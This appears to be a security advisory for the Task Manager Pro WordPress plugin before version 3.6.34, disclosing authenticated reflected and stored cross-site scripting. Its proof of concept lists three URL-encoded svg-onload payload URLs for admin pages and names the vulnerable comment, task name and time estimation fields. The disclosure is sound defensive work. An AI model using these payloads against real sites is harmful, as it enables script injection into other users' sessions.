Task Manager Pro < 3.6.34 – Multiple Cross-Site Scripting

Description

Multiple authenticated XSS vulnerabilities found logged as a low privileged user.

The plugin does not sanitise and escape some parameters, which could lead to reflected and stored Cross-Site Scripting issues

Proof of Concept

Authenticated Stored XSS:

Logged as a follower, the lowest privileged user.
Write the payload in the 'Add a comment' section

Authenticated Reflected XSS

On task-edit, task-details, project-details pages:

https://localhost/wp-admin/admin.php?page=task-edit&task=8%2F%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=task-details&task=6%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=project-details&project=%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

Authenticated Stored XSS

Logged as a user with edit privileges:
Edit Task Section. Task Name & Time Estimation fields are vulnerable.